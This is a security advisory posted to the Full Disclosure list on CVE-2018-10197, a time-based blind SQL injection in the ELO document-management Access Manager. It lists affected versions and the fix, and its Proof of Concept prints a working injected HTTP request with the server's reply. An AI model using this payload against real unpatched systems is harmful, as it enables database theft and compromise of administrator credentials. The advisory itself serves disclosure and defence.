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Date: Tue, 10 Jul 2018 09:04:15 +0200
From: Jens Regel <jregel@...neider-wulf.de>
To: Verborgene_Empfaenger:;
Subject: [FD] [CVE-2018-10197] ELO 9/10 - Time-Based blind SQL injection

Title:
======
ELO (Elektronischer Leitz-Ordner) 9/10 - Time-Based blind SQL injection

Researcher:
=======
Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG

CVE-ID:
=======
CVE-2018-10197

Risk Information:
=================
CVSS Base Score: 7.5
CVSS Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:POC/RL:OF/RC:C
Impact Subscore: 6.4
Exploitability Subscore: 10.0
CVSS Temporal Score: 5.9
Overall CVSS Score: 5.9

Timeline:
=========
2018-04-06 Vulnerability discovered
2018-04-06 Asked vendor for security contact
2018-04-09 Send details to the vendor
2018-04-10 Flaw was approved and fixed in a new version
2018-07-10 Public disclosure


Affected Products:
==================
ELOenterprise 10 (ELO Access Manager <= 10.17.120)
ELOenterprise 9 (ELO Access Manager <= 9.17.120)
ELOprofessional 10 (ELO Access Manager <= 10.17.120)
ELOprofessional 9 (ELO Access Manager <= 9.17.120)

Vendor Homepage:
================
https://www.elo.com/en-de/

Details:
========
ELO is a commercial software product for managing documents and
electronic content. Storage and organization is similar to classic
paper-based document management. ELO belongs to the category of document
management (DMS) and enterprise content management systems (ECM). DMS
and ECM systems enable audit-proof archiving of documents and
information requiring storage.

We have discovered a time-based blind SQL injection vulnerability in the
ELO Access Manager (<= 9.17.120 and <= 10.17.120) component that makes
it possible to read all database content. The vulnerability exists in
the HTTP GET parameter "ticket". For example, we succeeded in reading
the password hash of the administrator user in the "userdata" table from
the "eloam" database.

Proof of Concept:
=================
GET
/wf-NAME/social/api/feed/aggregation/201803310000?ticket=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
IF(UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(name AS
NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases WHERE name NOT IN
(SELECT TOP 7 name FROM master..sysdatabases ORDER BY name) ORDER BY
name),5,1))>104) WAITFOR DELAY '0:0:1'--
qvAV&after=1523013041889&lang=de&_dc=1523013101769 HTTP/1.1
Accept-Encoding: gzip,deflate
Connection: close
Accept: */*
Host: server:9090
Referer: http://server:9090/wf-NAME/social/api/feed/aggregation/201803310000
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv: 59.0) Gecko/20100101
Firefox/59.0

HTTP/1.1 401 Unauthorized
Server: Apache-Coyote/1.1
Content-Type: application/json;charset=UTF-8
Content-Length: 410
Date: Fri, 06 Apr 2018 11:57:15 GMT
Connection: close

{"error":{"code":401,"message":"[TICKET:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\u0027
IF(UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(name AS
NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases WHERE name NOT IN
(SELECT TOP 7 name FROM master..sysdatabases ORDER BY name) ORDER BY
name),5,1))\u003e104) WAITFOR DELAY \u00270][ELOIX:2001]Sitzungskennung
ung..ltig oder abgelaufen. Melden Sie sich neu an.[NO-DETAILS]"}}

Fix:
====
Customers can optain the fixed versions 9.18.040 and 10.18.040 in ELO
SupportWeb.


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